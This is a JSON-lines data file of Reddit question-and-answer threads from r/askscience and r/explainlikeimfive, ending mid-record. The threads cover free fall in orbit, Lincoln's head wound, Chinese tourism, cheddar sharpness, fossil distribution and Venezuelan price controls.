{"q_id": "v6paj", "title": "Does a person in a zero gravity setting experience a constant feeling that you get when you go down a steep drop on a roller coaster? Do you get used to it or does that feeling only exist in transition from gravity to none?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/v6paj/does_a_person_in_a_zero_gravity_setting/", "answers": {"a_id": ["c51vkpj", "c51wlrq", "c51yfv1"], "score": [2, 13, 7], "text": ["Interesting question which I think can only be answered by someone with such experience. \n\nFrom a physics standpoint, yes, being in orbit you're in constant free fall (like on a roller coaster). (And being out in the middle of nowhere in space, while you're not \"in free fall\", if you're not accelerating the stresses internal to the body would be consistent with being in free fall).\n\nBut as for how that's perceived - whether it goes away, or is constantly there - I have no idea.", "I think I can help clear things up a bit, gravity can be a bit unintuitive if you're not used to thinking about it. Fair warning, though, this is going to sound wrong at first. Bear with me. The thing to keep in mind is that you do not 'feel' gravity in any situation, no matter what. Most people are used to being able to feel an acceleration, such as from a car, and assume that since gravity also accelerates you, you can feel this in the same way, however this is not the case. \n\nWhen you feel an acceleration, what you are experiencing is always an external physical object pushing on you. When you're accelerating in a car, the seat is pushing on you. You can feel this because it does not push on your entire body at once, just your back, so you tend to squish against the seat, so to speak. This also causes the fluid in your inner ear (and elsewhere) to be disturbed.\n\nWhen you're falling through a vacuum (or through the atmosphere, assuming you haven't reached terminal velocity yet) however, the gravitational force is acting on each part of your body in exactly the same manner. It 'pulls' on the front of you, and your inner ear fluid, and the back of you, and everything else equally. This means that there is no compression or sensation of balance loss to be felt, and you have no way of knowing that you're accelerating. This is also the reason that someone in a perfectly insulated and soundproof box cannot tell the difference between falling to earth and being out in space far from any source of gravity. \n\nOf course, in practice you *can* tell when you're falling, and it certainly seems like you can feel gravity when you're sitting or standing around. What you feel sitting in a chair or standing on the ground, however, is NOT gravity pulling down on you, it is the chair or floor PUSHING up on you in the same way the seat of your car does as you speed up. It pushes only on your feet or your rear, so you get the same sensations. When you fall, or go over a drop in a coaster, you do not suddenly start getting pulled on by gravity, you *stop* getting pushed on by whatever was underneath you. \n\nSo to answer your question, yes, a person in zero gravity does constantly feel the same way you do when you jump off a diving board or fall down a slope on a coaster, since they're not being pushed on by anything. As to whether they get used to it or not, you'd have to ask an astronaut, but I suspect that eventually you do. Incidentally, you often hear about people becoming extremely nauseated when experiencing zero gee for the first few times. This is because when you're 'under gravity' (i.e. being pushed on by the floor), the fluid in your inner ear (which is responsible for your sense of balance) is shifted, as I mentioned earlier. Of course, you're under gravity all your life, so your brain learns that this is normal. Without gravity or in free-fall, however, the force is gone and the fluid in your ear re-distributes itself accordingly, which plays holy hell with your balance. If you want to know how unpleasant that can feel, spin in place as fast as you can and it'll do the same thing. ", "Yes they do, but they eventually get used to it. [This book](_URL_0_) talks a lot about this, and lots of other interesting topics. Seasickness medicine helps, but it only delays when they have to get used to it anyway. \n\nA little known secret is almost all of the Apollo astronauts vomited several times on their way to the Moon. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.amazon.com/Packing-Mars-Curious-Science-Life/dp/0393339912/ref=sr_1_1?ie=UTF8&amp;qid=1339982831&amp;sr=8-1&amp;keywords=packing+for+mars"]]}
{"q_id": "bavzql", "title": "How was President Lincoln alive until the next morning after being shot in the head?", "selftext": " > Shortly after 10 p.m. on April 14, 1865, actor John Wilkes Booth entered the presidential box at Ford's Theatre in Washington D.C., and fatally shot President Abraham Lincoln.\n\n-_URL_0_\n\n > The bullet entered\u00a0Lincoln's\u00a0skull behind his left ear, passed through his brain, and came to rest near the front of the skull after fracturing both orbital plates.\n\n-_URL_2_\n\n > Lincoln died at 7:22 a.m. the following day.\n\n-_URL_1_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bavzql/how_was_president_lincoln_alive_until_the_next/", "answers": {"a_id": ["ekgqudi", "ekgu5ly"], "score": [4, 2], "text": ["Bullets were smaller caliber back then, and also fired at slower velocity.\n\nProjectiles were more likely to lodge in place than travel through the flesh, as precision mass-manufactured bullets are more likely to do now.", "Not every part of the brain is directly responsible for life. Usually a bullet to the brain stem is required for immediate death as it would cause cessation of respiration. \n\n\nSurgically you can remove a large part of the brain and the person would become severely disabled but survive. \n\nDeath is caused by either persistent bleeding, or by brain contusion causing swelling of the brain inside the skull to the point that the brain stem gets squeezed through the bottom of the skull damaging and causing the person to stop breathing. This is what likely killed Lincoln\n\nAt Lincoln time, brain surgery wasn\u2019t known, but it happen today, he would have been taken to surgery and had the top of the skull removed allowing the brain to expand to the outside and stopping all bleeding. He would have likely been left severely disabled such as not being able to walk or talk depending on what exactly got damaged. \n\nBullet back then were simple lead balls, that travel a a more of less straight path. Modern bullets do (sometimes by design) tumble around when the enter the body causing much more damage to the tissues than the old lead balls. \n\nSenator gabby Gifford\u2019s got shot in the head recently and she still survive"]}, "title_urls": [], "selftext_urls": ["Americaslibrary.gov", "presidentlincoln.org", "Wikipedia.org"], "answers_urls": [[], []]}
{"q_id": "2h1sen", "title": "the recent boom of tourists from mainland china.", "selftext": "It seems within the past few years, we've witnessed a huge surge in tourists from China in all over the world. It's gotten to a point that many touristy areas are now catering business towards towards the Chinese. What sort of socioeconomic factors could be behind this surge?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2h1sen/eli5_the_recent_boom_of_tourists_from_mainland/", "answers": {"a_id": ["ckok9t6", "ckowcur"], "score": [5, 2], "text": ["China has 1.5 billion people and has had a booming economy over the last decade or so. They're newly rich and now they're doing rich people things, like taking vacations. ", "1. Rising incomes in China.  The Chinese upper and middle class is much larger than it was 20 years ago.\n\n2. The Chinese government has loosened travel policies.  It used to be much harder for Chinese to get approval to leave the country.\n\n3. Other countries have also loosened visa rules for Chinese.  20 years ago, most countries would have had strict rules, because they were more worried about Chinese illegal immigration than they were interested in attracting the small number of Chinese tourists.  Now, countries see Chinese tourism as having huge potential and huge economic benefits, so they're making it a lot easier for Chinese to get visas.\n\n4. Other factors have made tourism cheaper for Chinese.  China has much more international air travel today, and that means cheaper flights.  Beijing is now the world's #2 busiest airport.  Because of the sheer volume of Chinese tourism, Chinese tour operators can get good deals on cheap hotels and flights, and they have found that most Chinese travelers don't mind very basic hotels and restaurants - they'd rather spend their money on shopping.  So that makes the tours even cheaper for Chinese - in Europe for example, tour operators find the cheapest possible flights from China to Europe, even to and from less touristed cities like Milan or Frankfurt, and plan the trip route around that, using some of the cheapest possible hotels and group meals at mostly Chinese restaurants, and negotiating discounts on top of that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "csb1ce", "title": "what is the \"sharp\" in sharp cheddar? how are there various levels of \"sharp\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/csb1ce/eli5_what_is_the_sharp_in_sharp_cheddar_how_are/", "answers": {"a_id": ["exdphta", "exdqxk0", "exdrwjz", "exdsy60", "exduzdg", "exdwja5", "exdye38", "exdyjvq", "exe006k", "exe0vqt", "exe0wqh", "exe29kt", "exe2b0v", "exe2j4j", "exe2wuv", "exe3bco", "exe3gyl", "exe7229", "exe7zbd", "exe98ky", "exeagrl", "exeasih", "execgj6", "exey3p2", "exeyvpe", "exf0272", "exfwxy3"], "score": [17823, 826, 40, 17, 5, 765, 170, 5, 8, 93, 127, 3, 23, 26, 33, 6, 2, 10, 4, 39, 2, 7, 3, 22, 2, 2, 2], "text": ["The term \"sharp\" tells you how long the cheese was aged.  Mild is 3 months, sharp is 9 months and extra sharp is more than 18 months.  As it ages, its texture also goes from smooth and creamy to crumbly by developing hard, salt-like crystals called calcium lactate.", "Aging is the only difference between mild and sharp Cheddars. The longer cheese is aged naturally, the sharper and more pronounced the Cheddar flavor becomes.", "So what is the difference between Wisconsin, New York and Vermont sharp cheddar? Is one more sharp than the other?", "Since we are talking cheddar, I like putting cheddar in my scrambled eggs, but cheddar melts so greasy. Any good and flavorful alternatives that aren't so greasy?\n\nEDIT: thanks for the tips all - looking forward to trying all the suggestions!", "Does anyone else remember when \u201ccheese\u201d was a drug back in Hs? I feel like we got warned about it all the time but I never knew anyone that actually did it.", "People seem to be not really answering the question.  The sharpness of cheese is really a measure of the peptides in the cheese.  Peptides are molecules that are formed when the cheese is aged.  These peptides have a particular sharp bitter umami flavor and the longer the cheese is aged the more of these peptides form.", "The sharpness of cheddar is due to glutamate, an amino acid, which is responsible for the \u201cumami\u201d (savory) flavor. As the cheese is aged, proteins in the cheese degrade over time. Since glutamate is a component of many of these proteins, as they degrade concentrations of glutamate rise which results in a more intense flavor.", "Hey so...when you shop at the supermarket and the cheddar is just \u2018cheddar\u2019 cheese...why is one half the price of the other. Here most are the same price per kilo except one which is half the price. Just wondering what makes the margin work. This is for basic no frills standard cheddar.", " >  Cheddar that does not contain\u00a0annatto\u00a0is frequently labelled \"white Cheddar\" or \"Vermont Cheddar\" (regardless of whether it was actually produced there).\n\nThis is like Torpenhow Hill. If Vermont Cheddar became popular in Minsk they would start producing Minsk Vermont Cheddar, which might then become popular in Anatolia, and so on.", "In the UK it ranges from mild (rubbery texture, little flavour) to extra mature (crumbly, crystalline texture, strong tangy flavour). If cheese crumbles when you cut it, then it's good cheese.", "Ooo ooo ooo pick me!! \n\nThe sharpness in cheese is due to the aging process. As time goes on, enzymes that are added to the cheese (or found naturally in the milk) break down sugars into mild acids (short chain fatty acids) which have a more tangy taste. Over time, bacteria can convert these into even more interesting flavors. Basically, by aging cheese you go from sweet, to tangy, and as the aging goes on the flavors can mellow or become more pronounced depending on the type of cheese. (If anyone wants, i have dozens of scientific articles about bacterial and fungal compositions of cheeses. My family has been making cheese for a few hundred years, but I'm a nerdy med student, so i love the science behind it.) Also, if anyone wants a more in depth explanation, i can do that too. :)", "Reminds me of this post that I seen that a guy was talking about how he thought the sharp in cheese was supposed to be how much it hurt. He talked about a allergic reaction that he had no clue of. [This](_URL_0_) is the link", "I think that must be an American thing because in England we use the word Mature.\n\nI like extra mature cheddar which is 5 out of 5 in terms of flavour, the only way. Mature makes more sense as it is just older.", "This reminds me of that funny TIFU, where a guy thought sharp cheese meant painfully spicy. Turns out he was allergic to a histamine common in sharp cheese. He didn't know this for *30 years.*\n\n_URL_0_", "I live 45 minutes away from the small town of Cheddar in the UK where the cheese originates from, and I've never heard cheese referred to as \"sharp\". Here, it's just mild, strong or extra strong", "Secondary question, is \"sharp\" the American word used for \"mature\" in relation to cheese?", "The cheese gets called sharp if its older than what you're used to buying if you get the nornal stuff. The older it is, the sharper it is. When it gets sharper it gets more crumbly and kinda feels harder. Sometimes it's almost crunchy. This change happens because the stuff in the cheese that makes it rubbery starts to break up into smaller bits and can't bend as much any more without falling apart.", "As someone who grew up in Cheddar UK, sharp cheddar is a US term for real cheddar, not the rubbery yellow shit that seems to predominate over there.\n\nCheddar is very pale, almost white, crumbly, and a powerful flavour regardless of whether the aging is long or short.\n\nI\u2019d seriously recommend anyone who loves cheese to spend some time travelling off the tourist track in the UK. Start with Somerset.", "It's also a very American term. Its not a phrase or naming method used in Europe for example", "In the UK, where cheddar was invented, the strength of flavours are described in terms of \"maturity\" (mild, mature, extra mature, vintage) which probably gives a better idea of what is going on.\n\ni.e. After the cheese is made it is left to age (sit in storage). The longer it sits there the stronger the flavours become.\n\n_URL_0_", "Extra bitey tongue flavors because its older. More flavor *pow* the older it gets. Mozzarella, soft, like a cheesey pillow on the palate. Extra sharp cheddar, like a flavor flying kick to the tastebuds.", "Cheesemonger here. Moisture content is also really important to sharpness in cheese. Block cheddars (the kind of cheddars most of us are used to) are factory made into 20kg cuboids, vacuum packed and matured in the pack. This keeps all of the moisture in the cheese and, for reasons I don't fully understand, the longer it's kept the tangyier it gets. Real cheddars are handmade and wrapped in cloth. As they mature they lose moisture so rarely become as tangy as block cheddars can be. They are vastly better in taste though. \n\nFun fact there are only four Artisan Somerset Cheddars: Keens, Montgomery, Westcombe, and Pitchfork. They are all unpasteurised and hand made on the farm. Find them! They are sensational.", "I've never heard this before! Do Americans call mature cheddar, sharp cheddar?", "Ooooh!!\n\nI've never gotten to do this on Reddit! So welcome to LICK THE SCIENCE!!\n\nIt's been stated before already that \"sharp\" refers to the age of a cheddar, being roughly 6-9 months of age, while \"extra-sharp\" is about 1.5-2 years of age.\n\nBut the reason why there are so many \"levels\" of sharpness happens to be that there is no true official definition as regulated by the government, here referred to as the CFR or the Standard of Identity. This standard regulates what ingredients may be added to the proto-cheese during its make process, its percentage of solids and total milk fat, minimum aging time, and other things in order to call the cheese a \"Cheddar\".\n\nBut \"sharpness\" is not covered by the CFR. Which makes it a fairly subjective thing. Now, the industry as a whole has settled on a few guidelines, such as age of the cheese, but here are a few things when tasting your cheese that you can look for to help determine that sharpness for yourself!\n\n1. Acid. Cheddar cheese cultures (and most cheese cultures for that matter) produce lactic acid during their lifecycles within the cheese. An older, more mature cheese can have higher amounts of that present. \n\n2. Fat and protein breakdown. These cultures will produce enzymes that target the fat and protein of the milk that make up the cheese in what is essentially a controlled decaying process (Fermentation). What happens is the release of various amino acids and fatty acids that lend much more distinct flavors to the cheese! Nutty, brothy, and a lack of any sweetness will be characteristic of a well-aged cheddar!\n\n3.Texture- Again, as it has been stated, you will actually see more crystallization within older cheeses. This is also super common in hard Italian cheese like parmesan, but it can occur in Cheddar as well!\n\nTL;DR: \"Sharp\" cheese is really kind of a marketing ploy or a layman's way of determining the age of a cheddar cheese. But keep in mind, since it's not regulated, there's nothing but a company's word that there is any difference in those cheeses you are buying!\n\nThanks and hope you enjoyed LICK THE SCIENCE!\n\nSource: Primary Fermentation Scientist for a VERY large Dairy company!", "Follow-up question: If sharpness is caused by ageing, then why isn't sharp/extra sharp cheese more expensive than its mild counterpart?  Shouldn't more time ageing mean more cost to produce?", "Sharp is primarily a marketing word used for Cheddars. \n\nIt's hard to quantify because nobody exactly knows what it's supposed to mean. I consider it to be a higher degree of acidity in the cheese, often coupled with higher salt content and more actual flavor compounds, all of which occur when longer aging occurs. \n\nThat being said there are some relatively young Cheddars that are also considered sharp so if I had to link it to one trait it would be the overall acidity of the cheese.", "The main source of acidity for a cheese is lactic acid, which is produced by lactic acid bacteria. They eat the sugars in the milk and excrete lactic acid, which others have covered here.\n\nThere are other things, though, that also contribute to a cheese's taste (including sharpness) that I haven't seen mentioned yet.\n\nRaw milk contains lipase, an enzyme produced by the pancreas that breaks down fats. Most of this is rendered inactive by the pasteurization process. Some cheesemakers will add lipase powder to a cheese to mimic this. (Actually, it's generally pre-gastric enterase, but we'll stick with the convention of calling it lipase, as it serves the same function.) This can itself be mild, medium, or sharp-tasting, depending on whether it comes from a calf, lamb, or kid. This breaks down fats as the cheese ages.\n\nThe type of rennet used can also affect sharpness. Vegetable rennet doesn't contain lipase (since it is not an animal product), and is sometimes said to give a bitter taste in long-aged cheese. A cheesemaker can also use liquid animal rennet, or rennet paste, which will contain lipase. This is also generally selectable as mild, medium, or sharp by choosing the animal it comes from.\n\nRaw milk also contains proteases, which are enzymes that break down proteins, and similar to lipase, they continue to work as the cheese ages. The exact contents of raw milk will vary depending on the diet of the animals, also. A cheesemaker focused on quality will take this into account. Uplands Cheese here in Wisconsin, for instance, makes two different cheeses: one from summer milk (when the cows are grazing amidst green grass and growing things) and a different cheese from winter milk (when they're eating stored foodstuffs like grain and/or silage.)\n\nSource: Wisconsinite who makes my own cheese. I'm no degreed fount of knowledge, as the excellent u/EasyThereOldTimer is, but I have a little firsthand experience in making and aging cheeses made using different ingredients."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["https://www.reddit.com/r/tifu/comments/bg3h9g/tifu_by_not_realizing_cheese_isnt_supposed_to/?utm_medium=android_app&amp;utm_source=share"], [], ["https://www.reddit.com/r/tifu/comments/bg3h9g/tifu_by_not_realizing_cheese_isnt_supposed_to/"], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Cheddar_cheese#Process"], [], [], [], [], [], [], []]}
{"q_id": "d919fb", "title": "Which continents, or areas, are the best for finding fossil records, and why is that so?", "selftext": "\nSo apparently there are no land fossil records from when earth only had one huge continent called Pangaea?\n\nAlso if I recall most fossil records come from China or Africa(could be wrong), so I wonder why fossils have survived much better in those areas.\n\nWere other continents more unlivable? or did they go through larger drastic geological changes which destroyed remains?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d919fb/which_continents_or_areas_are_the_best_for/", "answers": {"a_id": ["f1epaa3", "f1mwch9"], "score": [4, 2], "text": ["The simple answer to this question is that you can find fossils wherever you have sedimentary rocks deposited in an environment with life capable of forming fossils, and conducive to fossil preservation. This actually covers much of the Earth's surface and indeed, most sedimentary rocks (the most common rock type at the Earth's surface) will contain fossils even if they're not the type of spectacular fossils that end up in museums. You can find fossils on all continents on Earth. \n\nThere are a whole range of factors that affect how likely a fossil is to be preserved, but these are generally more related to the conditions that were present at the time of deposition rather than today. Given the complex geological histories of all continents, differences in fossil abundance will depend entirely on the local geology rather than on sweeping continental-scale generalisations. \n\nIt is not true that there are no land fossils from Pangaea. Land fossils are indeed rarer than marine fossils because subaerial erosion has a habit of destroying fossil traces through erosion, but there are nonetheless a host of ways through which continental fossils can be preserved and they do exist. I'd also like to point out that there isn't really anything hugely special about Pangaea, it is simply one supercontinental configuration that existed for about a hundred million years. Many other supercontinents have existed throughout Earth's history (Pangaea is just the most recent) and much of Earth's geological past has taken place with multiple continents (as is the case today) rather than a single supercontinent.", "u/Chlorophilia has already addressed several aspects of your question well, so I\u2019ll choose to focus on the other aspects.  As previously mentioned, fossil records from Pangaea are abundant across the world (as would be expected), and in fact were some of the leading strains of evidence Alfred Wegener used to support his argument for continental drift ([Hallam 1972]( _URL_3_), [Hallam 1975]( _URL_0_)).  In particular, [Mesosaur]( _URL_4_) fossils from Africa and South America convinced him the continents had once been a single piece.  Of course, these fossils dated to the early Triassic, right in the middle of the lifespan of Pangaea (about 335 to 175 million years ago), or the middle Carboniferous to the early Jurassic.  Therefore, any fossils from the Permian or Triassic are Pangaean in nature, and there is a plethora of fossils from that time.  \n\nYou specifically mention China and Africa as hotbeds for fossils, and this is accurate, but somewhat misleading.  The regions of China and Africa that you\u2019re probably thinking of, Manchuria and North Africa, are good for fossils for a number of reasons, including modern geographic and even political reasons.  Both regions are relatively arid, which preserves fossils well and allows easy access to the remains.  Imagine trying to find fossils in a Brazilian rainforest.  You\u2019re looking through dense foliage and saturated soil for signs of bedrock, and then digging through tree roots and layers of topsoil for the specimens.  Compare that to a windswept desert where bedrock is easily exposed and fossils are left uncovered by what little rain they receive.  This is why regions like Patagonia and the American West are also hotspots for fossil excavations and increase our understanding of prehistoric biodiversity.  Apart from geography, areas like China have only recently opened up to western exploration of fossil sites, whereas in the past the American West was much more heavily scouted.  Many new and exciting discoveries have recently come out of China because until recently access to these areas was restricted.  Combine that with a growing international body of researchers in countries like China and you see a rise in paleontological discoveries from these regions.  Lastly, the two areas you mentioned preserve late Mesozoic bedrock, and give us exciting dinosaur fossils that have changed our understanding of the animals.  There are plenty of relevant and exciting discoveries being made in places all over the world pertaining to other time periods and ecosystems, but none of them capture the public imagination or media sensation like dinosaurs.\n\nThe third part of your question is harder to answer.  Were other areas more unlivable?  The fossil resolution (in other words, the rate and volume of fossil data) required to address that is typically too high for us to be able to say for certain.  Working with fossil data is a tricky business and involves understanding what you *can\u2019t* answer just as much as what you can.  Certain sites give us good records of ecosystems from specific points in time, but without other equally well-preserved sites in other parts of the world at the same time it\u2019s difficult to draw global conclusions.  A site that does provide an excellent fossil record through time are the [John Day Fossil Beds]( _URL_1_) in Oregon, which have yielded a [near-complete record]( _URL_2_) from the Eocene through the Oligocene to the Miocene.  That\u2019s something like 40 million years of [evolutionary ecology]( _URL_5_).  So while that doesn\u2019t directly answer your question of whether some areas were more unlivable, it does present an interesting case where a single place in the world can be studied across deep time to see how ecosystems and animal communities changed in relatively high resolution.\n\nTo answer the final part of your question, \u201cdid they go through larger drastic geological changes which destroyed remains?\u201d, it\u2019s important to understand that our access to fossils is drastically limited by the conditions in which ancient organisms died.  As u/Chlorophilia said, fossils are found primarily in sedimentary rock, which is the result of long-term deposition of loose sediment (and dead organisms) that become compacted over time into rock.  Geology can see periods of deposition, in which fossils may be preserved, as well as periods of erosion, in which sedimentary rock is worn away.  Erosional discontinuities are the physical places in the rock where deposition ceased or was undone, and therefore no fossils can be found from those times.  A lack of fossils from certain areas won\u2019t necessarily reflect a lack of biodiversity from that time, but may well reflect an erosional period during which fossils either failed to form or were destroyed.  Furthermore, certain environments create fossils more easily.  Deserts may mummify carcasses and preserve the bones in sand, marine coastal environments and lake beds may deposit large amounts of sediment onto carcasses, as well as creating anoxic (oxygen-low) conditions in which decomposition is slowed and sedimentation can do its work.  These types of environments preserve fossils well and we find lots of animals from habitats of this sort.  Alpine or dense rainforest tend not to fossilize as well due to high erosional rates and organic disturbance by plants, so we\u2019re lacking in detailed fossil records of these environments.  That\u2019s not to say we don\u2019t have them, but they\u2019re considerably more rare.  The fossil site I\u2019m currently working on is a dense forest but primarily represents a lakebed setting, making it a rare and valuable opportunity to study this type of environment.  One exception to this, in which the paucity of fossils does represent a drop in biodiversity, are records of mass extinctions.  Particularly the Cretaceous-Paleogene extinction, in which marine microfauna absolutely plummet directly after the K-Pg line, like physically in the rock you can see the boundary.  This is because of the Chicxulub impact event and does represent a global biodiversity catastrophe.\n\nSo to summarize: there are fossils on all continents and detailed fossil records can be found of particularly suitable ancient environments, while erosional discontinuities and unsuitable ancient environments are more likely to be the cause for a lack of fossils than an actual lack of biodiversity.  Areas like China and North Africa receive special attention due to a combination of rich Mesozoic (read: dinosaur) fossil beds that are interesting and exciting for the public, excellent modern conditions for finding fossils, and recent political events that have opened up previously restricted or difficult-to-access regions.  Permian and Triassic fossils, which are globally distributed and no more or less common than would be expected given their age, all represent Pangaean ecosystems and the evolution of organisms during the lifespan of a supercontinent.  Our understanding of the natural world and its history is constantly evolving and growing based on new fossil evidence, as well as analysis of previously uncovered material, and will continue to evolve as we find new sites and keep digging at old sites all over the world."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.jstor.org/stable/24949733?seq=1#page_scan_tab_contents", "https://en.wikipedia.org/wiki/John_Day_Formation", "https://www.researchgate.net/profile/Richard_Dillhoff/publication/265533424_Cenozoic_paleobotany_of_the_John_Day_Basin_Central_Oregon/links/54adbfc70cf24aca1c6f6c50/Cenozoic-paleobotany-of-the-John-Day-Basin-Central-Oregon.pdf", "https://www.jstor.org/stable/24922914?seq=1#page_scan_tab_contents", "https://en.wikipedia.org/wiki/Mesosaur", "https://www.researchgate.net/profile/Joshua_Samuels2/publication/279166950_New_Rodent_Material_from_the_John_Day_Formation_Arikareean_Middle_Oligocene_to_Early_Miocene_of_Oregon/links/55a3e93a08ae00cf99c8eb59/New-Rodent-Material-from-the-John-Day-Formation-Arikareean-Middle-Oligocene-to-Early-Miocene-of-Oregon.pdf"]]}
{"q_id": "58ku3r", "title": "why would the government of venezuela implement price ceilings on food if it results in shortages?", "selftext": "I'm having trouble comprehending the motivations behind this. Does their government have some sort of nefarious benefit to derive from restricting the food supply of their country? Why aren't the citizens of the country upset with the government for artificially limiting the amount of food they can have?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58ku3r/eli5_why_would_the_government_of_venezuela/", "answers": {"a_id": ["d918ip8", "d919iaq", "d919xxq", "d91aidc", "d91eyqa", "d91ncl9", "d91usps"], "score": [6, 10, 21, 7, 31, 47, 4], "text": ["Any type of price control or rationing has a long term effect of lowering supply as you correctly stated. In the short run, price controls can help stabilize trust in the economy and stop panic. \n\nI think you'll have better results in r/askeconomics", "Because they know nothing about the economics of what they're doing, and it seems more 'fair'.\n\nSource: I have an econ degree and it's difficult for me to rationalize that kind of behavior. Higher prices would increase supply and ensure more people were fed unless you were talking about an extremely closed economy.", "This is why you see so many people complain about socialism.  It's not that we worship at the feet of the god of Capitalism, it's that there's no better system for allocating resources than a free market.  \n\nArtificial government influence in the market is often well intentioned, but virtually always has unintended negative consequences.  ", "... what? Really?   Typically the 5 year old crowd need it explained why it's a bad idea rather than why they would do it.\n\nA price ceiling is an attempt to stop gouging.  If there's a food crisis, you could charge people $20 for a potatoe.  The price ceiling tries to keep poor people from starving to death.\n\nA ration, which limits how much one person can buy, tries to keep one person from buying all that cheap food so nobody else gets any.  It also tried to thwart the blackarket, which is doubtlessly going to pop up whenever's there's procedurally control.\n\nIt makes perfect sense in the short term.\n\nIn the long term, it's disastrous.  Venezuela hasn't done so well with that whole \"long term planning thing\".  They have oil, but depending too much on a single income is disaster waiting to happen.  And price fixing just doesn't work out. ", "Venezuelan here.  \n\nThe simple and dark answer is population control.  They know perfectly that putting price caps affects the supplies and inflates the prices of whatever is available.  The state of famine is not a mistake: they know they need the people hungry in order to be able to control them.  \n\nThey first started capping prices to kill the private sector whilst they pushed for state-owned supermarkets to offer food at subsidised prices.  You had to sign in with the official party to shop there.  You were not allowed to shop if you showed up as an opposition member in the databases that show who you vote for.  You were not allowed to complain or badmouth the government inside the shops. \n\nWith further destruction of the economy,  the poorest are now left to receive free rations from some community/state owned programmes.  They are literally denying food to people who do not support the party.  \n\nThe rest of the people?  Too hungry,  scared and desperate scrambling for food to put a real fight.  Are they pissed?  Of course they are.  The Maduro government has less than 15% acceptance and you are seeing rallies and protests all the time.  The last one uniting more than a million people in Caracas.  \n\nMake no mistake,  Venezuela is being run by a gang of narcos whose only objective is to hold to power at any cost (thousands of lives lost to disease,  crime and famine are NOTHING to them) so they can avoid criminal charges.  \n\nThe economic failure of the country is NOT accidental.  ", "Have you ever made one mistake, found yourself in a bad situation, and instead of admitting you were wrong and undoing the first mistake, making a second, then a third, then a forth?  \n\nThe objective of the Venezuelan government was to help people.  The country was awash in oil revenues, and so they decided to cap the cost of goods so that the poor could receive them for that low, low, price.  The government made up the price difference with oil revenue.  Basically you can sell a chicken (that costs a dollar) in a supermarket for a penny if the farmer gets a penny from the grocery store, and 99 cents from the government.\n\nWhen you do this however you cause three bad results.  First you are creating the ability for people to live beyond their means.  Why eat rice and beans if you can eat chicken and steak for the same price?  Why eat leftovers if you can just buy fresh food each day?  When you artificially lower the price for something demand for it goes up and you use more of it.  Second if I can buy a chicken for a penny in Venezuela and sell it for a dollar in columbia there are going to be people who do just that, buying as many chickens as they can at the subsidized price and shipping them out of the country for a profit.  And third, people are going to change how they live to fit their new budgets.  If my grocery bill is normally 400 a month and suddenly it is $2.00 a month i have 398 dollars to spend on other things, so maybe I buy a new cell phone, gym memberships etc.  On paper this looks like good economic growth but in reality suddenly a lot of people (Cell phone companies, gym's, and average people) NEED the subsidies to stay in place, and if they are withdrawn there would be a painful/messy reorganization.\n\nNow imagine this has gone on for years.  You have gotten nothing but praise.  The people love you, the media loves you, you have spent years telling yourself again and again how good what you are doing is for the people.  And the people have gotten used to these low prices.  People have gotten used to the extra money in their pocket.  But now the... problems... with the system are starting to become clear to the government.  They are seizing thousands of chickens every day at the border and know hundreds of thousands are probably getting through.  The budget is very tight, even with the oil revenue we are spending more than we bring in.  And then oil prices start to fall...\n\nHow can we possibly admit that a system that seemed to work for years had been doomed from the begining?  How can you admit the last years were all a lie?  How can we admit that if we had just thought about things in advance this wouldn't be happening?  How can we admit that people are going to have to give up their cell phones, their cars, all the benefits that we brought them for years because we were dumb?  How can we tell thousands of people who have jobs selling cell phones and such that they are out of work?  How could you have been so wrong when everything was going so right?\n\nEspecially when we have another option...  We blame the people exporting the goods.  They were assholes to begin with.  They knew the prices were lowered here to help the poor and they decided to profit from it.  So we blame them.  We start targeting \"hoarders\" we start rationing supplies so the smugglers can't buy thousands of chickens.\n\nSure people are getting hungry...  and here is the real evil of socialism... but our intent was to help them and once the current crisis is over it will all be worth it.\n\nAnd as oil falls further we just double down again and again.  People are starving on the streets but still we believe our political and economic philosophy is the right one, for the people's own good, and so we let them die today to save them later.", "Here's my read on Venezuela.  Warning, I'm not an economist or a Venezuelan.  I see it as a textbook lesson in how socialist dreams are often smashed by capitalist realities, and why political leaders should study economics.\n\nIn 2002, Chavez \"re-nationalized\" the country's petroleum industry, seizing control of it and demanding that a lot of its revenue be used to pay for social programs to help Venezuela's citizens.  This was very popular among the poor, but the oil workers went on strike to protest.  They were sacked and replaced with workers who were loyal to the government, but didn't necessarily know how to run an oil industry.\n\nEverything went great for a while, but because oil money was going to pay for social projects rather than maintaining the oil infrastructure, and because the new workers lacked the skills to keep it running, Venezuela's oil production eventually started to slow.  At the same time, global oil prices were crashing, thanks in part to the American fracking boom.\n\nThis left Venezuela's government in a bind: their popular support came from their expensive social programs, but they didn't have the money to pay for them, or to rebuild the oil infrastructure.  (Oil had been providing 60% of the government's income.)  Rather than cut the social programs, they paid for them by just printing money.  Putting more bolivars in circulation means each one is worth less: inflation.  In short, the government was trying to convince its people that their grand socialist paradise was still working great by handing out lots of Monopoly money.  But the people outside Venezuela who sold it food and consumer goods expect to be paid in dollars, pesos, and yen.\n\nVenezuela thought there was only one way to stop prices from rising so rapidly that people would be unable to buy food: price ceilings.  But remember, a lot of this food is coming from overseas, and there's no way to force a foreign supplier to sell if they can't make a profit doing so.  For instance, at the time [this article](_URL_0_) was written, Venezuela's price ceiling for, say, dried milk powder was what would have been reasonable before inflation, but works out to 3 cents a pound.  Nobody's going to import milk powder at that price, and thus shortages.\n\nComplicating all of this has been the Venezuelan government's insistence that all these problems are due to internal and external enemies bent on its destruction, rather than economic forces.\n\nThe problem is, no matter how much you hate capitalism, its rules still apply to you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], 